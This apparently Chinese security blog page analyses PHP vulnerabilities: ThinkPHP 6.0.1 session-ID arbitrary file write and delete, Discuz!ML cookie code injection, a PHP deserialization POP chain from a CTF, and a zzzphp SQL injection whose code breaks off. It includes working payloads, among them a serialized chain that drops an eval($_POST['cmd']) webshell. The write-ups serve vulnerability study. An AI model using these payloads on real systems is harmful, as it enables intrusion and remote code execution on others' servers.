PHP 代码审计实战之 SIYUCMS 5.1
Here's something encrypted, password is required to continue reading.
Read more
PHP 代码审计实战之 YouDianCMS 8.2
Here's something encrypted, password is required to continue reading.
Read more
XXE 漏洞学习
Here's something encrypted, password is required to continue reading.
Read more
ThinkPHP6 任意文件操作漏洞分析

漏洞介绍

2020年1月10日,ThinkPHP 团队发布一个补丁更新,修复了一处由不安全的 SessionId 导致的任意文件操作漏洞。该漏洞允许攻击者在目标环境启用 session 的条件下创建任意文件以及删除任意文件,并在实际环境中还可能 getshell。具体受影响版本为ThinkPHP 6.0.0-6.0.1 。

环境搭建

环境要求: PHP >= 7.1.0,ThinkPHP6.0.0-6.0.1

ThinkPHP6.0.x 必须通过 composer 方式安装和更新,无法通过 git 下载安装

安装 composer(Linux 或者 macOS)

1
2
curl -sS https://getcomposer.org/installer | php
mv composer.phar /usr/local/bin/composer

国内镜像

1
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

安装 ThinkPHP6.0.1

1
2
//稳定版
composer create-project topthink/think=6.0.1 tp6

验证安装

切换到 tp6 目录下执行命令:php think run

在浏览器中打开网址:127.0.0.1:8000/

看到欢迎界面说明成功安装

漏洞分析

访问 ThinkPHP 官方 GitHub 找到相关的 commit 信息:

https://github.com/top-think/framework/commit/1bbe75019ce6c8e0101a6ef73706217e406439f2

01

修正代码位于 src/think/session/Store.php 文件的121 行处,仅仅在原来的基础上多加了一个 ctype_alnum 函数,该函数的用法如下:

02

我们定位到本地 web 目录下的文件:vendor/topthink/framework/src/think/session/Store.php,该文件主要是 session 相关的操作,包括 session 的设置、获取和保存等。

定位到 setId 函数,逻辑是判断参数 id 是否是长度为32的字符串,是则将该参数作为 session id,否则将利用 session_create_id 函数来生成唯一的 session id。

03

而修正后的代码多了 ctype_alnum 函数检查参数 id 是否为字母和数字的组合。 根据 Store.php 文件和添加的 ctype_alnum 函数猜测可能是在存储 session 时触发了相关的文件操作漏洞。

在 Store.php 文件中查找 setId 发现在 save 函数中调用了 setId 函数,代码中还存在 write 和 delete 函数涉及到文件的写入和删除。

04

我们跟进 write 函数,跳转到 session 接口驱动文件:vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php,查找实现了这个接口的类文件一共有两个 —— Cache 和 File,而 Cache 类文件中的 write 函数无法利用,所以跳转到 File 类文件:vendor/topthink/framework/src/think/session/driver/File.php

05

继续跟进 writeFile 函数,File.php 的 170 行:

06

file_put_contents 函数涉及到文件写入,危险函数找到了,下一步需要回溯寻找可控点。

我把涉及到的函数放到一起便于回溯可控点:

07

$this->id 是 session_id,由 setId 函数设置;$this->data 是 session 数据,默认为空,由 set 函数设置。 我们查找调用了 setId 函数的地方:vendor/topthink/framework/src/think/middleware/SessionInit.php

08

$cookieName 的值是 PHPSESSID,因为默认环境配置中没有 session.var_session_id 参数,因此进入 else 分支,调用了 cookie 函数,易知 $sessionId 是 cookie 中名为 PHPSESSID 的值。

09

分析到这里,file_put_contents 函数的文件名已经可控,那我们看下能不能实现在任意位置写入文件。由于在 write 函数中调用了 getFilename 函数,使得文件名带上了 sess_ 的前缀,并且如果目录不存在会自动创建,因此我们可以利用目录回退符(../)来实现任意文件写入。而写入文件的内容取决于 $this->data 的值,默认为空,需要由实际的后端业务逻辑来决定,只有当后端业务中存在 session 值可控的代码时方可 getshell。

10

再来看一下 delete 函数,如果目录不存在并不会创建目录,如果开发环境是 Windows 系统的话,我们可以利用 Windows 系统的一个特性 —— 如果目录不存在就会跳过当前目录,从而实现任意文件删除。如果是Linux 或者mac OS 系统则没有这一特性,但我们可以结合任意文件写入创建目录,从而根据已知目录实现任意文件删除。

11

漏洞复现

根据以上的漏洞分析,我们可以总结出文件写入和删除的利用条件:

要实现任意文件写入,需要目标环境开启 session,session 值可控且不为空;

要实现任意文件删除,需要目标环境开启 session,session 值为空。

构造场景

本文在 MacOS 10.14.6 系统中进行复现,由于默认环境中没有开启 session,且没有 session 设置的代码,所以我们需要构造相应的场景。

  1. 开启 session:

在 app/middleware.php 文件中删除最后一行注释

12

  1. 添加设置 session 值的代码:

由于默认环境中 session 为空,所以我们需要添加代码来测试任意文件写入漏洞。

在 app/controller/Index.php 文件中添加方框中代码。

13

任意文件写入

使用 burp 作为中间代理构造如下 GET 请求,并使得 cookie 参数中名为 PHPSESSID 的值为 32 位的字符串。

14

可以发现默认在 runtime/session/ 目录下新增了一个 session 文件,session 值经过了序列化。

15

我们还可以实现 getshell,因为 ThinkPHP6.0.x 的控制器文件在 app/controller/ 目录下,所以我们在该目录下写入文件。

16

成功写入文件:

17

访问控制器验证成功 getshell:

18

任意文件删除

要实现任意文件删除首先要利用任意文件写入构造已知路径,从而利用目录回退符(../)跳转到任意目录实现文件删除。 构造如下请求:

19

可以发现创建了新的目录 sess_ :

20

再次构造如下请求删除 14.log 文件,注意因为要使 session 数据为空,所以不能添加 GET 参数。

21

验证成功删除文件:

22

总结

这个漏洞是由于一处不安全的 session id 造成的任意文件操作,最终找到了危险函数 file_get_contents,通过回溯参数寻找可控点发现并没有过滤处理,因此整个分析利用也相对容易。官方给出的补丁中在检查 session id 时添加了 ctype_alnum 函数,很好地过滤了非法构造 session id 的情形。

参考

https://paper.seebug.org/1114/#_2

https://hacpai.com/article/1579965339516

https://www.smi1e.top/thinkphp6-0-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E6%BC%8F%E6%B4%9E/

https://woj.app/6032.html


Discuz!ML V3.X 代码注入漏洞分析

前言

Discuz!ML 是由 CodersClub.org 创建的多语言的、集成的、功能齐全的开放源代码 Web 平台, 用于建立“社交网络”之类的 Internet 社区。 该引擎基于 Comsenz Inc. 创建的著名 Discuz!X引擎开发。

下载地址:https://discuz.ml/download

漏洞描述

2019年7月11日,米斯特安全团队发现 Discuz!ML 存在一处远程代码执行的漏洞,漏洞主要是由于 Discuz!ML 对 cookie 字段的一处不当处理造成的。攻击者可以通过修改 cookie 字段中的 language 参数构造 payload,而language 参数未经过滤,随后拼接到了缓存文件中,缓存文件被加载后造成代码注入。

漏洞分析

还是从 index.php 开始梳理动态审计的流程,从而分析漏洞的产生原因及利用方式。

index.php line 132

1
require './'.$parse['path'];

forum.php line 22

1
require './source/class/class_core.php';

source/class/class_core.php line 33

1
C::creatapp();

source/class/discuz/discuz_application.php line 66

1
$this->_init_input();

跟进后在 line 304 可以看到 cookie 中的 language 参数没有任何过滤给到了变量 lng,而 language 我们可以通过修改 cookie 完全可控;

1
2
if($this->var['cookie']['language']) {
$lng = strtolower($this->var['cookie']['language']);

继续分析,在 line 341 又把变量 lng 给到了常量 DISCUZ_LANG,而这个常量又存在于整个系统中,因此我们只需要盯死 DISCUZ_LANG 就可以顺藤摸瓜找到利用点。

1
define('DISCUZ_LANG', $lng);

回到 forum.php line 76

1
require DISCUZ_ROOT.'./source/module/forum/forum_'.$mod.'.php';

source/module/forum/forum_index.php line 434,包含 source/function/function_core.php 中的 template 函数

1
include template('diy:forum/discuz:'.$gid);

跟进 template 函数,在 source/function/function_core.php line 647 发现 DISCUZ_LANG 被拼接到了 cachefile 中,这个变量是缓存文件名,但仅文件名的中间部分可控我们并不能达到 getshell 的目的;

1
$cachefile = './data/template/'.DISCUZ_LANG.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';

继续跟进,在 line 656 调用了 checktplrefresh 函数,cachefile 变量作为参数传递;

1
checktplrefresh($tplfile, $tplfile, @filemtime(DISCUZ_ROOT.$cachefile), $templateid, $cachefile, $tpldir, $file);

source/function/function_core.php line 508,这里包含了 source/class/class_template.php 文件,然后新建了一个模板,再将模板剪切,这里 cachefile 作为参数传递给 parse_template 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if(empty($timecompare) || @filemtime(DISCUZ_ROOT.$subtpl) > $timecompare) {
/*vot*/ require_once DISCUZ_ROOT.'./source/class/class_template.php';
$template = new template();
$template->parse_template($maintpl, $templateid, $tpldir, $file, $cachefile);
if($targettplname === null) {
$targettplname = getglobal('style/tplfile');
if(!empty($targettplname)) {
include_once libfile('function/block');
$targettplname = strtr($targettplname, ':', '_');
update_template_block($targettplname, getglobal('style/tpldirectory'), $template->blocks);
}
$targettplname = true;
}
return TRUE;
}

source/class/class_template.php line 24,parse_template 方法中代码很多,但我们可以抓住重点:

在程序运行时,Discuz!ML 会将 template/default/forum/discuz.htm 默认模板文件中的内容赋值给 template 变量;

1
2
3
if($fp = @fopen(DISCUZ_ROOT.$tplfile, 'r')) {
$template = @fread($fp, filesize(DISCUZ_ROOT.$tplfile));
fclose($fp);

在读取默认模板文件内容后,template 变量经过了大量的 preg_replace_callback 和 preg_replace 函数,对模板内容进行替换和修改。注意 line 71,下面代码会将 cachefile 等变量值拼接到 headeradd 变量中;

1
2
3
4
5
6
7
if(!empty($this->subtemplates)) {
$headeradd .= "\n0\n";
foreach($this->subtemplates as $fname) {
$headeradd .= "|| checktplrefresh('$tplfile', '$fname', ".time().", '$templateid', '$cachefile', '$tpldir', '$file')\n";
}
$headeradd .= ';';
}

在 line 84,headeradd 变量又被拼接到了 template 变量中,template 变量是修改后的模板文件的内容;

1
$template = "<? if(!defined('IN_DISCUZ')) exit('Access Denied'); {$headeradd}?>\n$template";

注意可控点的演进:

var['cookie']['language'] => lng => DISCUZ_LANG => cachefile => headeradd => template

也就是说我们可以修改 cookie 中 language 参数构造 payload,例如:sc'.phpinfo().'

01

这个 payload 会随着可控点的传递被带入 template 变量中,最终写入缓存文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
if(!@$fp = fopen(DISCUZ_ROOT.$cachefile, 'w')) {
$this->error('directory_notfound', dirname(DISCUZ_ROOT.$cachefile));
}

$template = preg_replace_callback("/\"(http)?[\w\.\/:]+\?[^\"]+?&[^\"]+?\"/", array($this, 'parse_template_callback_transamp_0'), $template);
$template = preg_replace_callback("/\<script[^\>]*?src=\"(.+?)\"(.*?)\>\s*\<\/script\>/is", array($this, 'parse_template_callback_stripscriptamp_12'), $template);
$template = preg_replace_callback("/[\n\r\t]*\{block\s+([a-zA-Z0-9_\[\]]+)\}(.+?)\{\/block\}/is", array($this, 'parse_template_callback_stripblock_12'), $template);
$template = preg_replace("/\<\?(\s{1})/is", "<?php\\1", $template);
$template = preg_replace("/\<\?\=(.+?)\?\>/is", "<?php echo \\1;?>", $template);

flock($fp, 2);
fwrite($fp, $template);
fclose($fp);

最终写入的缓存文件名即为 cachefie 变量,缓存文件内容即为 template 变量,而构造的 payload 也随着 template 写入到缓存文件中。

1
2
3
4
5
6
<?php if(!defined('IN_DISCUZ')) exit('Access Denied'); 
0
|| checktplrefresh('./template/default/common/header.htm', './template/default/common/header_common.htm', 1571979821, '1', './data/template/sc'.phpinfo().'_1_1_common_header_forum_index.tpl.php', './template/default', 'common/header_forum_index')
|| checktplrefresh('./template/default/common/header.htm', './template/default/common/header_qmenu.htm', 1571979821, '1', './data/template/sc'.phpinfo().'_1_1_common_header_forum_index.tpl.php', './template/default', 'common/header_forum_index')
|| checktplrefresh('./template/default/common/header.htm', './template/default/common/pubsearchform.htm', 1571979821, '1', './data/template/sc'.phpinfo().'_1_1_common_header_forum_index.tpl.php', './template/default', 'common/header_forum_index')
;?>

上面代码看起来不那么直观,我们可以在本地简化验证一下:

02

修复建议

漏洞主要是因为对 cookie 中的 language 参数缺少过滤而造成的,因此可以在source/class/discuz/discuz_application.php 第338行之后341行之前加入该代码暂缓此安全问题:

1
2
3
4
5
$lng = str_replace("(","",$lng);
$lng = str_replace(")","",$lng);
$lng = str_replace("'","",$lng);
$lng = str_replace('"',"",$lng);
$lng = str_replace('`',"",$lng);

参考

https://mp.weixin.qq.com/s?__biz=MzU2NDc2NDYwMA==&mid=2247483944&idx=1&sn=ba9f6f99967e31fd56634f714d8ae650&scene=21%23wechat_redirect

https://www.anquanke.com/post/id/181887

后记

审计Discuz!ML 这个洞时感觉有点只缘身在此山中的感觉,好像明白了但是昨天和师傅们讨论时还是讲不太清楚,索性今天就整理一下,果然现在我对这个洞的前因后果有了更深入清晰的认识。

昨天的讨论让我对前端的一些安全问题更加感兴趣,最近课业上的任务还比较多,等下周准备开始学习前端的一些知识。其实早有深入学习 xss 的打算,苦于没有时间因此一再推脱,idea 栈都快溢出来了。

另外 rt 师傅分享的 Web安全学习笔记 还蛮不错,打算按照这个深入学习,其实有太多东西我都不会,所以要更加努力,这个算作长期计划吧,🐛🐛🐛!


php 反序列化漏洞学习

php 序列化和反序列化

php 序列化

php 序列化就是将各种类型的数据压缩并按照一定格式存储的过程,使用 serialize() 函数。一个简单的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class test{
private $flag = 'Inactive';
protected $test = 'test';
public $test1 = 'test1';

public function set_flag($flag){
$this->flag = $flag;
}
public function get_flag(){
return $this->flag;
}
}

$object = new test();
$object->set_flag('Active');
$data = serialize($object);
file_put_contents("serialize.txt", $data);
echo $data;

一个简单的 php 类,注意这里实例化之后对属性进行了赋值,然后调用 serialize() 序列化并打印输出:

01

我们会发现第一个属性名原本是 flag 输出为什么是 testflag 呢?就算是 testflag 那长度应该是 8 为什么是 10 呢?类似地,第二个属性名 原本是 test 输出为什么是 *test 呢?而且长度应该是 5 为什么是 7 呢?

这其实涉及到了 php 属性的访问权限问题。我们知道类的属性有三种类型:private, protected 和 public(定义属性时省略类型则默认为 public),为了区分各种类型的属性必然会将属性的权限信息也序列化进去。

(1) public :

public 是公有修饰符,类中的成员将没有访问限制,所有的外部成员都可以访问(读和写)这个类成员(包括成员属性和成员方法),在 PHP5 之前的所有版本中,PHP 中类的成员都是 public 的,而且在 PHP5 中如果类的成员没有指定成员访问修饰符,将被视为 public 。

public 类型的属性在序列化后没有发生改变,和常规思路一样,如 test1。

(2) private :

private 是私有修改符,被定义为 private 的成员,对于同一个类里的所有成员是可见的,即没有访问限制;但对于该类的外部代码是不允许改变甚至读操作,对于该类的子类,也不能访问private修饰的成员。

private 类型的属性在序列化后要在属性前加上类名,以表明该属性仅在此类中可以访问。如 flag 序列化后为 testflag,但是长度还是不对。

于是乎我们将序列化的结果存入一个文件中,使用 hexdump 命令来看看内部的结构:

02

在 test 前后有两个 %00,也就是空白符。所以 private 类型的属性序列化后的属性名格式为 %00类名%00属性名,如 %00test%00flag

(3) protected :

protected 是保护成员修饰符,被修饰为 protected 的成员不能被该类的外部代码访问。但是对于该类的子类有访问权限,可以进行属性、方法的读及写操作,该子类的外部代码包括其的子类都不具有访问其属性和方法的权限。

protected 类型的属性在序列化后要在属性名前加上 *,以表示它是受保护的,可在该类及其子类中访问。长度的解释同见上图,在 * 前后都增加了两个空白符 %00。所以 protected 类型的属性序列化后的属性名格式为 %00*%00属性名,如 %00*%00test

注意:『序列化只会对类中的属性进行操作,而不会序列化方法』。

php 反序列化

序列化就是将对象压缩为格式化的字符串,反序列化就是将压缩格式化的字符串还原。

沿用上面的代码,将 serialize.txt 里的内容反序列化,并输出属性 test1 和 flag 的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class test{
private $flag = 'Inactive';
protected $test = 'test';
public $test1 = 'test1';

public function set_flag($flag){
$this->flag = $flag;
}
public function get_flag(){
return $this->flag;
}
}

$data = file_get_contents("serialize.txt");
$data = unserialize($data);
var_dump($data);
echo $data->test1."<br>";
echo $data->get_flag();

结果如下:

03

php 序列化和反序列化的作用

php 序列化和反序列化能够解决 php 对象传递的问题,因为 php 文件在执行结束之后就会将对象销毁,为了便于下次使用,就可用 php 序列化保存对象的信息,待下次再用的时候反序列化就可以了。

php 反序列化漏洞

什么是 php 反序列化漏洞

php 反序列化漏洞又叫做 php 对象注入漏洞,成因在于代码中的 unserialize() 接收的参数可控。从上面的例子可以看出,unserialize() 函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,因此我们要利用对象属性来是实现攻击。

常见魔术方法

php 将所有以 __ (两个下划线)开头的类方法保留为魔术方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
__construct mixed $args [, $...]]) : void
构造函数。类在每次创建对象时先调用此方法,用于初始化对象。

__destruct (void) : void
析构函数。会在到某个对象的所有引用都被删除或者当对象被显示销毁时执行。

public __sleep(void) : array
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后执行序列化操作。
此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。
如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE级别的错误。
__sleep() 不能返回父类的私有成员的名字,这样做会产生一个 E_NOTICE 级别的错误。

__wakeup(void) : void
unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象所需的资源。
__wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其他初始化操作。

public __toString(void) : string
在 php 5.2.0 之前,__toString() 方法只有在直接使用与 echo 或 print 时才能生效。
php 5.2.0 之后,则可以在任何字符串环境生效(例如通过 printf(),使用 %s 修饰符),但不能用于非字符串环境(如使用 %d 修饰符)。
自 php 5.2.0 起,如果将一个未定义 __toString() 方法的对象转换为字符串,会产生 E_RECOVERABLE_ERROR 级别的错误。

属性重载:PHP所提供的重载(overloading)是指动态地创建类属性和方法。我们是通过魔术方法(magic methods)来实现的。当调用当前环境下未定义或不可见的类属性或方法时,重载方法会被调用。所有的重载方法都必须声明为 public
public __set ( string $name , mixed $value ) : void
public __get ( string $name ) : mixed
public __isset ( string $name ) : bool
public __unset ( string $name ) : void
在给不可访问属性赋值时,__set() 会被调用。
读取不可访问属性的值时,__get() 会被调用。
当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
当对不可访问属性调用 unset() 时,__unset() 会被调用。

魔术方法的作用

我们知道反序列化函数 unserialize() 是我们攻击的入口,也就是说只要这个参数可控,我们就能传入任何经过序列化的对象(只要这个类在当前作用域存在我们就可以利用),而不是只局限于当前类。

但是,通过反序列化单纯的控制其他类中的属性并不能造成攻击。我们又知道,魔术方法的调用是在该类序列化或反序列化的同时自动完成的,不需要人工干预。因此只要魔术方法中出现了一些我们能利用的函数,我们就能通过反序列化中对其对象属性的控制来实现对这些函数的控制,进而达到攻击的目的。

寻找 php 反序列化漏洞的思路

  1. 寻找 unserialize() 函数的参数是否可控;
  2. 寻找反序列化的目标,重点寻找 存在 wakeup() 或 destruct() 魔法函数的类;
  3. 逐层研究该类在魔术方法中使用的属性和属性调用的方法,看看是否有可控的属性能在当前调用过程中触发;
  4. 找到要控制的属性后将要用到的代码复制下来,构造反序列化攻击。

实战—构造 POP 链

POP(Property-Oriented-Programing):面向属性编程,常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented-Programing)的原理类似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组持续的调用链。在控制代码或者程序的执行流程后就可以使用这一组调用达到目的性操作。

下面通过 plaidctf-2014 中的 kpop 题目为例实战学习一下构造 POP 链挖掘反序列化漏洞。这里为了复现,将 classes.php 中主要的类和 import.php 中的利用点整合在一个文件中,并修改了写入文件路径。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
<?php
//classes.php
class OutputFilter {
protected $matchPattern;
protected $replacement;
function __construct($pattern, $repl) {
$this->matchPattern = $pattern;
$this->replacement = $repl;
}
function filter($data) {
return preg_replace($this->matchPattern, $this->replacement, $data);
}
};

class LogFileFormat {
protected $filters;
protected $endl;
function __construct($filters, $endl) {
$this->filters = $filters;
$this->endl = $endl;
}
function format($txt) {
foreach ($this->filters as $filter) {
$txt = $filter->filter($txt);
}
$txt = str_replace('\n', $this->endl, $txt);
return $txt;
}
};

class LogWriter_File {
protected $filename;
protected $format;
function __construct($filename, $format) {
$this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
$this->format = $format;
}
function writeLog($txt) {
$txt = $this->format->format($txt);
file_put_contents("/Users/car0ta/Documents/host/www/test/" . $this->filename, $txt, FILE_APPEND); //写成自己的路径
}
};

class Logger {
protected $logwriter;
function __construct($writer) {
$this->logwriter = $writer;
}
function log($txt) {
$this->logwriter->writeLog($txt);
}
};

class Song {
protected $logger;
protected $name;
protected $group;
protected $url;
function __construct($name, $group, $url) {
$this->name = $name; $this->group = $group;
$this->url = $url;
$fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>");
$this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n")));
}
function __toString() {
return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group;
}
function log() {
$this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
}
function get_name() { return $this->name; }
}

class Lyrics {
protected $lyrics;
protected $song;
function __construct($lyrics, $song) {
$this->song = $song;
$this->lyrics = $lyrics;
}
function __toString() {
return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
}
function __destruct() {
$this->song->log();
}
function shortForm() {
return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>";
}
function name_is($name) {
return $this->song->get_name() === $name;
}
};
//import.php
$data = unserialize(base64_decode($_POST['data']));

首先我们寻找反序列化漏洞的利用点,在 import.php 中找到了 unserialize() 函数,且参数可控。

接着重点关注 classes.php 中的类,在 Song 和 Lyrics 中都有 __toString() 魔术方法,但是无法利用,再看 Lyrics 类中的析构方法,该类会逐层往上调用其他类中的方法,直到 OutputFilter 类。而只要我们控制了matchPattern 和 replacement 属性,那么就可以通过 preg_replace() 函数构造恶意代码,然后写入到文件中。

整个链式调用的流程如下图:

04

构造 payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
class OutputFilter {
protected $matchPattern = "/car0ta/i";
protected $replacement = "<?php eval(\$_POST['cmd']);?>";
};

class LogFileFormat {
protected $filters;
protected $endl;
function __construct() {
$this->filters = array(new OutputFilter());
$this->endl = "\n";
}
};

class LogWriter_File {
protected $filename;
protected $format;
function __construct() {
$this->filename = '../shell.php';
$this->format = new LogFileFormat();
}
};

class Logger {
protected $logwriter;
function __construct() {
$this->logwriter = new LogWriter_File();
}
};

class Song {
protected $logger;
protected $name = 'car0ta';
protected $group = '500';
protected $url = '';
function __construct() {
$this->logger = new Logger();
}
}

class Lyrics {
protected $lyrics;
protected $song;
function __construct() {
$this->song = new Song();
$this->lyrics = 'php';
}
};

$lyrics = new Lyrics();
echo base64_encode(serialize($lyrics));

05

将序列化后的值通过 post 方法上传后会在相应目录下生成 shell.php 文件:

06

到这里这题也就做完了,但我们可以再看一下链式调用的流程图会发现,Song 和 Logger 类中存在同名的方法 log,而 Lyrics 的 析构方法中调用了 log() 方法,因此我们可以省略调用 Song 类这一步,而是直接调用 Logger 中的 log 方法。这也为寻找反序列化漏洞提供了思路:当一个类中的方法难以利用时,可以调用其他类中的同名方法去构造 POP 链

参考

http://llfam.cn/2019/04/01/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

https://www.k0rz3n.com/2018/11/19/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#0X08-%E5%8F%82%E8%80%83

https://www.kancloud.cn/webxyl/php_oop/68886

https://mochazz.github.io/2019/01/29/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E9%97%A8%E4%B9%8B%E5%B8%B8%E8%A7%81%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95/#wakeup


zzzphp V1.7.2 审计分析

前言

这个是 8 月底交的第一个水洞,昨天发布在 CNVD 上:CNVD-2019-30678。最近课业繁多,因此没有很多时间去学习 web,正好昨天刚发布,就整理复习一下发篇博客,等忙完这波我就又可以做回 dog 了。最近学习的感受就是:一定要多做笔记,不动笔墨不读书。

漏洞分析

从 index.php 进入,开始审计。

在 /inc/zzz_client.php 中第 58 行:

1
$location=getlocation();

跟进到 /inc/zzz_main.php 中 getlocation() 函数,在第 1521 行:

1
$location = getform( 'location', 'get' );

继续追踪 getform() 函数,跟进到 /inc/zzz_main.php 第 605 行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
function getform( $name, $source = 'both', $type = NULL, $default = NULL ) {
switch ( $source ) {
case 'post':
$data = _POST( $name );
break;
case 'get':
$data = _GET( $name );
break;
case 'cookie':
$data = _REQUEST($name);
if($data) {
set_cookie( $name,$data ) ;
}else{
$data=get_cookie( $name,$data ) ;
}
break;
case 'both':
$data = _POST( $name ) ? : _GET( $name );
break;
}
if ( !is_null( $type ) ) {
if(ifch($default)){
$err = checkstr( $data, $type, $default );
}else{
$err = checkstr( $data, $type, $name );
}
if ( $err[ 'code' ] == 0 ){
if ( $default == 'layer' ) {
layererr( $err[ 'err' ] );
} else {
back( $err[ 'err' ] );
}
}
}
if ( !is_null( $default ) && !ifch( $default) ) {
$data = empty( $data ) ? $default : $data;
}
return txt_html( $data );
}

不难发现参数 name 可控,再看倒数第二行函数的返回值经过了 txt_html() 函数处理。

跟进到 /inc/zzz_main.php 中的第 787 行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function txt_html( $s ) {    
if ( !$s ) return $s;
if ( is_array( $s ) ) { // 数组处理
foreach ( $s as $key => $value ) {
$string[ $key ] = txt_html( $value );
}
} else {
if (get_magic_quotes_gpc()) $s = addslashes( $s );
$s = trim( $s );
//array("'"=>"&apos;",'"'=>"&quot;",'<'=> "&lt;",'>'=> "&gt;");
if ( DB_TYPE == 'access' ) {
//$s= toutf( $s );
$s = str_replace( "'", "&apos;", $s );
$s = str_replace( '"', "&quot;", $s );
$s = str_replace( "<", "&lt;", $s );
$s = str_replace( ">", "&gt;", $s );
}else{
$s = htmlspecialchars( $s,ENT_QUOTES,'UTF-8' );
}
$s = str_replace( "\t", ' &nbsp; &nbsp; &nbsp; &nbsp;', $s );
$s = preg_replace('/script/i', 'scr1pt', $s );
$s = preg_replace('/document/i', 'd0cument', $s );
$s = preg_replace('/\.php/i', '.php', $s );
$s = preg_replace('/ascii/i', 'asc11', $s );
$s = preg_replace('/eval/i' , 'eva1', $s );
$s = str_replace( array("base64_decode", "assert", " "), "", $s );
$s = str_replace( array("\r\n","\n"), "<br/>", $s );
}
return $s;
}

发现数组处理的代码逻辑存在缺陷,如果参数 s 是数组的话,经过处理后仍然原样返回(倒数第二行)。

我们可以简单测试一下,在上面代码基础上添加如下代码进行本地验证:

1
2
$b = txt_html($_GET[a]);
var_dump($b);

然后我们用 get 方法传递一个数组 a,如:?a[]=<>

经过测试我们发现很多危险字符都没有过滤掉,如引号、括号等。

01

getform() 函数的 name 参数可控,txt_html() 函数的数组处理存在缺陷。结合这两点说明 getform() 函数存在漏洞。

漏洞利用—sql

全局搜索 getform() 函数,很多处都有调用该函数。如 /plugins/sms/sms_list.php 中的 php 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
require '../../inc/zzz_admin.php';
$act=getform("act","get");
$id=getform("id","post");
switch ($act) {
case 'del':
db_delete('sms',array('id'=>$id));
exit;
break;
case 'delall':
db_delete('sms',array('smsonoff'=>0));
phpgo ('sms_list.php');
break;
}

通过 get 方法传参 ?act=del ,id 通过post 传一个数组 id[]=xxx

跟进 db_delete() 函数,在 /inc/zzz_db.php 第 274 行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function db_delete( $table, $where, $d = NULL ) {
$db = $_SERVER[ 'db' ];
$d = $d ? $d : $db;
if ( !$d ) return FALSE;
if ( ifnum( $where ) ) {
$where = table_id( $table ) . '=' . $where;
} elseif ( is_array( $where ) ) {
$arrkey = array_keys( $where );
if ( $arrkey[ 0 ] === 0 ) {
$where = array( table_id( $table ) => $where );
}
} elseif ( $where == 'recy' ) {
if ( $table == 'content' )$where = array( 'c_onoff' => 2 );
}
$whereadd = db_cond_to_sqladd( $where );
return db_exec( "DELETE FROM [dbpre]$table $whereadd", $d );
}

注意,这里 $where 是一个二维数组 array('id'=>$id)

关键代码在倒数第三行,因此跟进 db_cond_to_sqladd() 函数,在 /inc/zzz_db.php 第1058 行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
function db_cond_to_sqladd( $where ) {
$s = '';
if ( DB_TYPE == 'access' )$where = toutf( $where );
if ( !empty( $where ) ) {
$s = ' WHERE ';
if ( is_array( $where ) ) {
foreach ( $where as $k => $v ) {
if ( !is_array( $v ) ) {
$v = ( ifnum( $v ) ) ? $v : "'" . ( $v ) . "'";
$s .= "`$k`=$v AND ";
} elseif ( isset( $v[ 0 ] ) ) {
// OR 效率比 IN 高
$s .= '(';
//$v = array_reverse($v);
foreach ( $v as $v1 ) {
$v1 = ( ifnum( $v1 ) ) ? $v1 : "'" . ( $v1 ) . "'";
$s .= "`$k`=$v1 OR ";
